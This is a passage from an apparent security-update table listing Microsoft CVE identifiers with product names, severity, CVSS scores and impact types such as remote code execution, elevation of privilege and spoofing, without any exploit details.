SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  